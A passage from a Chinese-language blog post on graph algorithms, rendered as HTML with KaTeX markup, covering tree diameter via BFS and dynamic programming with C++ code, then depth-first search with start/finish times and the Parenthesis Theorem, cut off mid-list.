xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 必然是树中某条直径的一个端点。</p><p>第二个结论非常显然，固定端点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span>，从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 开始 BFS 得到的距离最远的节点就是直径的另一端。</p><h3 id="dp"><a class="markdownIt-Anchor" href="#dp"></a> DP</h3><p>树的直径也可以通过 DP 来求解。</p><p>我的想法是对于树来说，要么直径经过根节点，要么不经过根节点（在子树内）。</p><p>如果经过根节点，其直径就是两棵子树的最大深度之和加上根节点。</p><p>所以定义 <code>dp[u]</code> 为以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 为根节点的子树的最大深度，那么对于每个节点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span>，可以通过 <code>dp[u] = max(dp[x]) + 1</code> 来计算出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的最大深度，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的子节点。</p><p>则 <code>ans = max(ans, dp[x] + dp[y] + 1)</code>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的两个子节点。</p><p>所以从叶子节点开始，向上合并子树，得到树的最大深度的同时计算出 <code>ans</code>，最终得到树的直径。</p><p>参考 <a href="https://oi-wiki.org/graph/tree-diameter/#%E4%BE%8B%E9%A2%98">OI WIKI 的实现</a>：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;algorithm&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;cstdio&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;vector&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="keyword">constexpr</span> <span class="type">int</span> N = <span class="number">100000</span> + <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> n, d;</span><br><span class="line"><span class="type">int</span> dp[N];</span><br><span class="line">vector&lt;<span class="type">int</span>&gt; E[N];</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">dfs</span><span class="params">(<span class="type">int</span> u, <span class="type">int</span> fa)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> v : E[u])</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (v == fa)</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">        <span class="built_in">dfs</span>(v, u);</span><br><span class="line">        d = <span class="built_in">max</span>(d, dp[u] + dp[v] + <span class="number">1</span>);</span><br><span class="line">        dp[u] = <span class="built_in">max</span>(dp[u], dp[v] + <span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;n);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i &lt; n; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">int</span> u, v;</span><br><span class="line">        <span class="built_in">scanf</span>(<span class="string">&quot;%d %d&quot;</span>, &amp;u, &amp;v);</span><br><span class="line">        E[u].<span class="built_in">push_back</span>(v), E[v].<span class="built_in">push_back</span>(u);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">dfs</span>(<span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%d\n&quot;</span>, d);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里面将树当作无向图处理，所以会多一个 <code>if (v == fa) continue;</code> 来避免回到父节点。</p><p>此外这里写的很巧妙…我自己来写的话，取子树中的最长链和次长链来构成新直径，会显式的写成如下：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">int</span> max_diameter = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">get_diameter</span><span class="params">(<span class="type">int</span> u, <span class="type">int</span> p)</span> </span>&#123;</span><br><span class="line">    <span class="type">int</span> first_longest = <span class="number">0</span>;  <span class="comment">// 最长链</span></span><br><span class="line">    <span class="type">int</span> second_longest = <span class="number">0</span>; <span class="comment">// 次长链</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> v : adj[u]) &#123;</span><br><span class="line">        <span class="keyword">if</span> (v == p) <span class="keyword">continue</span>; <span class="comment">// 避免回头访问父节点</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 获取子树的最长路径</span></span><br><span class="line">        <span class="type">int</span> child_max_path = <span class="built_in">get_diameter</span>(v, u) + <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 更新 first_longest 和 second_longest</span></span><br><span class="line">        <span class="keyword">if</span> (child_max_path &gt; first_longest) &#123;</span><br><span class="line">            second_longest = first_longest;</span><br><span class="line">            first_longest = child_max_path;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (child_max_path &gt; second_longest) &#123;</span><br><span class="line">            second_longest = child_max_path;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    max_diameter = <span class="built_in">max</span>(max_diameter, first_longest + second_longest);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> first_longest;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>虽然我知道状态转移方程是这样的，但写起来就会变成一堆逻辑判断…很丑陋。</p><blockquote><p>参考中将最长链 + 次长链的信息求和放进结果 <code>d</code> 中（也就是我的实现里面的 <code>max_diameter</code>），然后在 <code>dp[u]</code> 中只存储最长链的信息。硬要说的话，可以发现 <code>dp</code> 中用过的节点的信息是没必要再存着的，我的实现里面唯一的好处就是空间占用略微小了点。</p></blockquote><h2 id="dfs"><a class="markdownIt-Anchor" href="#dfs"></a> DFS</h2><p>首先放一份 DFS 实现：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;vector&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;queue&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Vertex</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> id;</span><br><span class="line">    <span class="type">char</span> color; <span class="comment">// &#x27;W&#x27; for white, &#x27;G&#x27; for gray, &#x27;B&#x27; for black</span></span><br><span class="line">    <span class="type">int</span> distance;</span><br><span class="line">    <span class="type">int</span> start_time;</span><br><span class="line">    <span class="type">int</span> finish_time;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">UndirectedMatrixGraph</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line">    vector&lt;vector&lt;<span class="type">int</span>&gt;&gt; matrix;</span><br><span class="line">    vector&lt;Vertex&gt; vertices;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">UndirectedMatrixGraph</span>(<span class="type">int</span> V)</span><br><span class="line">    &#123;</span><br><span class="line">        matrix.<span class="built_in">resize</span>(V, <span class="built_in">vector</span>&lt;<span class="type">int</span>&gt;(V, <span class="number">-1</span>));</span><br><span class="line">        vertices.<span class="built_in">resize</span>(V);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; V; i++)</span><br><span class="line">        &#123;</span><br><span class="line">            matrix[i][i] = i;</span><br><span class="line">            vertices[i].id = i;</span><br><span class="line">            vertices[i].color = <span class="string">&#x27;W&#x27;</span>;</span><br><span class="line">            vertices[i].distance = <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">bool</span> <span class="title">hasEdge</span><span class="params">(<span class="type">int</span> u, <span class="type">int</span> v)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> matrix[u][v] != <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">addEdge</span><span class="params">(<span class="type">int</span> u, <span class="type">int</span> v)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        matrix[u][v] = v;</span><br><span class="line">        matrix[v][u] = u; <span class="comment">// For undirected graph</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">setColor</span><span class="params">(<span class="type">int</span> u, <span class="type">char</span> color)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        vertices[u].color = color;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">setDistance</span><span class="params">(<span class="type">int</span> u, <span class="type">int</span> distance)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        vertices[u].distance = distance;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">setStartTime</span><span class="params">(<span class="type">int</span> u, <span class="type">int</span> time)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        vertices[u].start_time = time;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="type">void</span> <span class="title">setFinishTime</span><span class="params">(<span class="type">int</span> u, <span class="type">int</span> time)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        vertices[u].finish_time = time;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function">Vertex <span class="title">getVertex</span><span class="params">(<span class="type">int</span> u)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> vertices[u];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function">vector&lt;<span class="type">int</span>&gt; <span class="title">getNeighbors</span><span class="params">(<span class="type">int</span> u)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        vector&lt;<span class="type">int</span>&gt; neighbors;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> v = <span class="number">0</span>; v &lt; matrix.<span class="built_in">size</span>(); v++)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">hasEdge</span>(u, v))</span><br><span class="line">            &#123;</span><br><span class="line">                neighbors.<span class="built_in">push_back</span>(v);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> neighbors;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function">vector&lt;<span class="type">int</span>&gt; <span class="title">getAllVertex</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        vector&lt;<span class="type">int</span>&gt; allVertices;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">const</span> Vertex &amp;v : vertices) &#123;</span><br><span class="line">            allVertices.<span class="built_in">push_back</span>(v.id);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> allVertices;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">dfs</span><span class="params">(UndirectedMatrixGraph &amp;graph)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> global_time = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> vertex_id : graph.<span class="built_in">getAllVertex</span>())</span><br><span class="line">    &#123;</span><br><span class="line">        Vertex v = graph.<span class="built_in">getVertex</span>(vertex_id);</span><br><span class="line">        <span class="keyword">if</span> (v.color == <span class="string">&#x27;W&#x27;</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="built_in">dfsVisit</span>(graph, vertex_id, &amp;global_time);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">dfsVisit</span><span class="params">(UndirectedMatrixGraph &amp;graph, <span class="type">int</span> vertex_id, <span class="type">int</span> *global_time)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    graph.<span class="built_in">setColor</span>(vertex_id, <span class="string">&#x27;G&#x27;</span>);</span><br><span class="line">    graph.<span class="built_in">setStartTime</span>(vertex_id, ++(*global_time));</span><br><span class="line">    vector&lt;<span class="type">int</span>&gt; neighbors = graph.<span class="built_in">getNeighbors</span>(vertex_id);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">const</span> <span class="type">int</span> neighbor : neighbors)</span><br><span class="line">    &#123;</span><br><span class="line">        Vertex v_n = graph.<span class="built_in">getVertex</span>(neighbor);</span><br><span class="line">        <span class="keyword">if</span> (v_n.color == <span class="string">&#x27;W&#x27;</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="built_in">dfsVisit</span>(graph, neighbor, global_time);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    graph.<span class="built_in">setColor</span>(vertex_id, <span class="string">&#x27;B&#x27;</span>);</span><br><span class="line">    graph.<span class="built_in">setFinishTime</span>(vertex_id, ++(*global_time));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>DFS 不维护队列，而是找到邻居就直接递归向下遍历，直到没有邻居了才回退。</p><p>BFS 构成一棵 BFS 树，但 DFS 构成的可能是森林（多棵树）：</p><ul><li><p>无向图：如果是连通图，DFS 总是能一次性访问到所有节点，所以就是一棵树。</p></li><li><p>有向图：可能访问不到某些节点，需要回到 <code>dfs</code> 再选取剩下的节点作为起始节点，继续 DFS，直到访问完所有节点。可能有多棵树形成森林。</p></li></ul><p>DFS 的时间复杂度也是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>V</mi><mo>+</mo><mi>E</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(V + E)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mclose">)</span></span></span></span>，因为每个节点和边都访问一次。</p><p>可以发现比 BFS 的实现，DFS 的 <code>Vertex</code> 的多了 <code>start_time</code> 和 <code>finish_time</code> 两个属性。这是为了方便引出以下的内容。</p><p>以下简称为属性 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>s</mi></mrow><annotation encoding="application/x-tex">u.s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">s</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">u.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span> 分别表示 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的 <code>start_time</code> 和 <code>finish_time</code>。</p><p>括号化定理（Parenthesis Theorem）：对于任意两个节点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span>，以下三种情况只有一种成立：</p><ul><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 互不为祖先：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[u.s, u.f]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mclose">]</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[v.s, v.f]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mclose">]</span></span></span></span> 没有交集。</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的祖先：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo separator="true">,</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[u.s, u.f]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mclose">]</span></span></span></span> 包含 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[v.s, v.f]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mclose">]</span></span></span></span>。</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord 